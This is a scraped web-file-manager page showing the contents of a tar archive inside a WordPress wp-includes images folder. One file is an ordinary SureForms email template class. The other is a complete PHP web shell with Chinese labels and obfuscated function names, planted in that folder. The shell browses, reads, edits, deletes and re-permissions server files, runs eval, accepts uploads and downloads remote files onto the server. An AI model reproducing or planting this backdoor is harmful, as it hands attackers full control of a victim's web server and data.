Файловый менеджер - Редактировать - /home/ephorei/www/wp-includes/images/media/q2m9hb/email.tar
Назад
email-template.php 0000644 00000012121 15006152672 0010156 0 ustar 00 <?php /** * Email template loader. * * @package SureForms. */ namespace SRFM\Inc\Email; use SRFM\Inc\Helper; use SRFM\Inc\Traits\Get_Instance; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Email Class * * @since 0.0.1 */ class Email_Template { use Get_Instance; /** * Class Constructor * * @since 0.0.1 * @return void */ public function __construct() { } /** * Get email header. * * @since 0.0.1 * @return string|false */ public function get_header() { ob_start(); ?> <html> <head> <meta charset="utf-8"> <title><?php echo esc_html__( 'New form submission', 'sureforms' ); ?></title> </head> <body style="margin: 0; padding: 0;"> <div id="srfm_wrapper" dir="ltr" style="margin: 0; background-color: #F8F8FC; padding: 40px 0 0 0; width: 100%"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> <tr> <td align="center" valign="top"> <table border="0" cellpadding="0" cellspacing="0" width="600" id="srfm_template_container" style="background-color: #ffffff;border: 1px solid #dce0e6;margin-bottom: 25px; "> <tbody> <tr> <td align="center" valign="top"> <table border="0" cellpadding="0" cellspacing="0" width="600" id="srfm_template_body"> <tbody> <tr> <td valign="top" id="srfm_body_content" style="background-color: #ffffff"> <table border="0" cellpadding="20" cellspacing="0" width="100%"> <tbody> <tr> <td valign="top" style="padding:32px"> <div id="srfm_body_content_inner" style="color: #384860;font-family: Roboto-Medium,Roboto,-apple-system,BlinkMacSystemFont,Helvetica Neue,Helvetica,Arial,sans-serif;font-size: 14px;line-height: 1;text-align: left;"> <?php return ob_get_clean(); } /** * Get email footer. * * @since 0.0.1 * @return string|false footer tags. */ public function get_footer() { ob_start(); ?> </div> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table> </div> </body> </html> <?php return ob_get_clean(); } /** * Render email template. * * @param array<mixed> $fields Submission fields. * @param string $email_body email body. * @since 0.0.1 * @return string */ public function render( $fields, $email_body ) { $message = $this->get_header(); $excluded_fields = [ 'srfm-honeypot-field', 'g-recaptcha-response', 'srfm-sender-email-field' ]; $message .= $email_body; if ( strpos( $email_body, '{all_data}' ) !== false ) { ob_start(); ?> <table class="srfm_all_data" width="536" cellpadding="0" cellspacing="0" style="border: 1px solid #dce0e6;border-radius: 6px;margin-top: 25px;margin-bottom: 25px;"> <tbody> <?php foreach ( $fields as $field_name => $value ) { if ( is_array( $value ) ) { $values_array = $value; } else { $value = Helper::get_string_value( $value ); } if ( in_array( $field_name, $excluded_fields, true ) || false === str_contains( $field_name, '-lbl-' ) ) { continue; } $label = explode( '-lbl-', $field_name )[1]; $label = explode( '-', $label )[0]; $field_label = $label ? Helper::decrypt( $label ) : ''; ?> <tr class="field-label"> <th style="font-weight: 500;font-size: 14px;color: #1E293B;padding: 8px 16px;background-color: #F1F5F9;text-align: left;"> <strong><?php echo wp_kses_post( html_entity_decode( $field_label ) ); ?>:<strong/> </th> </tr> <tr class="field-value"> <td style="font-size: 14px;color: #475569;padding: 8px 16px 16px 16px;padding-bottom: 10px;"> <?php if ( ! empty( $values_array ) && is_array( $values_array ) ) { foreach ( $values_array as $value ) { $value = Helper::get_string_value( $value ); if ( ! empty( $value ) && is_string( $value ) ) { ?> <a target="_blank" href="<?php echo esc_attr( urldecode( $value ) ); ?>"><?php echo esc_html__( 'View', 'sureforms' ); ?></a> <?php } } } else { if ( is_string( $value ) ) { echo false !== strpos( $value, PHP_EOL ) ? wp_kses_post( wpautop( $value ) ) : wp_kses( $value, [ 'a' => [ 'href' => [], 'target' => [], ], ] ); } } ?> </td> </tr> <?php } ?> </tbody> </table> <?php $table_data = ob_get_clean(); $current_table_data = $table_data ? $table_data : ''; // This is done as str_replace expects array|string but ob_get_clean() returns string|false. $message = str_replace( '{all_data}', $current_table_data, $message ); } return $message . $this->get_footer(); } } cby3ne/index.php 0000644 00000024760 15006204523 0007555 0 ustar 00 <?php eRRor_rEporTing(0); $wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):''; $req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):''; $req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):''); $script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):''; if ($script_filename=='') $script_filename=__FILE__ ; if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename); $wwwroot=str_replace('\\','/',$wwwroot); $dir=isset($_GET['d'])?trim($_GET['d']):''; $dir=str_replace('\\','/',$dir); $file=isset($_GET['f'])?trim($_GET['f']):''; $file=str_replace('\\','/',$file); $action=isset($_GET['a'])?trim($_GET['a']):''; if ( $action=='' ) { $current_dir=$dir==''?$wwwroot:$dir; $current_dir=rtrim($current_dir,'/'); $current_dir_nav=''; $dir_path=''; $current_dir_split=explode('/',$current_dir); foreach( $current_dir_split as $dir ) { $dir_path.=$dir.'/'; $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>'; } $dir_rows=''; $file_rows=''; $current_dir_list=sCaNDir($current_dir); $row_id=0; foreach( $current_dir_list as $target_name ) { if ( $target_name=='.' || $target_name=='..' ) continue; $target=$current_dir.'/'.$target_name; $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name; $row_id++; $target_u_id=fIlEOwNEr($target); $target_u_att=poSIx_GEtpWUid($target_u_id); $target_owner=$target_u_att['name']; $target_perm=get_qx($target); $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target)); if ( is_dir($target) ) { $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>'; }else { $target_fsize=fILesIzE($target); $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB'); $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>'; } } $div_html='<table cellspacing="10"> <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr> <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr> '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).' </table>'; }elseif ( $action=='sc' ) { if ( $file!='' ) { uNlInk($file); jump_to('?d='.diRNaMe($file)); }elseif( $dir!='' ) { rm_rf($dir); jump_to('?d='.DIrnaMe($dir)); } exit; }elseif( $action=='gm' ) { $gm=isset($_POST['gm'])?trim($_POST['gm']):''; if ( $gm!='' ) { $old_f=$file==''?$dir:$file; if ( $old_f!='' && file_exists($old_f) ) { $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir); } }else { show_msg('请输入新名称!','back'); } exit; }elseif( $action=='qx' ) { $target=$dir==''?$file:$dir; if ( $target!='' ) { $qx=isset($_POST['qx'])?trim($_POST['qx']):''; if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' ) { set_qx($target,$qx); jump_to('?d='.dIRnamE($target)); }else { show_msg('请输入新权限!','back'); } } exit; }elseif( $action=='ck' && $file!='' ) { if ( fiLEsIze($file)<10000000 ) { HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file); }else { show_msg('文件大小超限!','close'); } exit; }elseif( $action=='bj' && $file!='' ) { if ( isset($_POST['f_content']) ) { FilE_pUt_COnteNts($file,$_POST['f_content']); md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!',''); } $f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):''; $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; }elseif( $action=='tj' && $dir!='' ) { $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):''; if ( $t_name=='' ) { show_msg('请输入项目名称!','back'); }else { if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,''); if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true); if ( $_POST['t_type']=='tj_xz' ) { preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ; } jump_to('?d='.$dir); } exit; }elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) ) { MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ; jump_to('?d='.$dir); exit; } function get_qx($t) { $q=substr(sprintf('%o',fILepErMs($t)),-4); return $q; } function set_qx($t,$q) { EvAl('cHMoD("'.$t.'",'.$q.');'); if ( get_qx($t)!=$q ) { $tmp_f=uniqid().'.txt'; $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>'; fiLE_puT_cONtEnTs($tmp_f,$tmp_c); require($tmp_f); UnLInK($tmp_f); } } function rm_rf($d) { if (is_dir($d)) { $f_l=sCaNDir($d); foreach ($f_l as $f) { if ($f=='.'||$f=='..') continue; $p=$d.'/'.$f; is_dir($p)?rm_rf($p):uNliNk($p); } rMdIR($d); } } function show_msg($msg,$go) { echo '<script>alert("'.$msg.'");</script>'; if ($go=='back') echo '<script>window.history.back();</script>'; if ($go=='close') echo '<script>window.close();</script>'; } function jump_to($url) { echo '<script>window.location.href="'.$url.'";</script>'; } function down_file($dir,$url) { $s_name=array_pop(explode('/',$url)); if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz'; $ch=CUrl_iNit(); cuRl_seTOpt ($ch, CURLOPT_URL, $url); cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1); cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false); cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true); $contents = cUrl_eXeC($ch); cURl_CLosE($ch); if ( empty($contents) ) $contents=filE_geT_cONTentS($url); if ( empty($contents) ) { show_msg('下载出错!',''); }else { fIle_PuT_cONteNts($dir.'/'.$s_name,$contents); show_msg('下载完成!',''); } } ?> <html> <head> <title>芝麻web文件管理</title> <meta name="robots" content="none"> <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> </head> <body> <style> a {color:#000000;text-decoration:none;} a:hover {color:#ff0000;} .tl:hover {background-color:#eeeeee;} form {margin:0;} </style> <script> function show_input_box(s,t,f,a,) { var span=document.getElementById(s); if ( span.innerHTML=='' ) { span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>'; }else { span.innerHTML=''; } } function confirm_sc(t,f) { if (f=='d') { if ( confirm('确定要删除此目录吗?') ) { window.location.href='?d='+t+'&a=sc'; } } if (f=='f') { if ( confirm('确定要删除此文件吗?') ) { window.location.href='?f='+t+'&a=sc'; } } } </script> <div> <h1>芝麻web文件管理V1.00</h1> <?php echo $div_html;?> </div> </body> </html>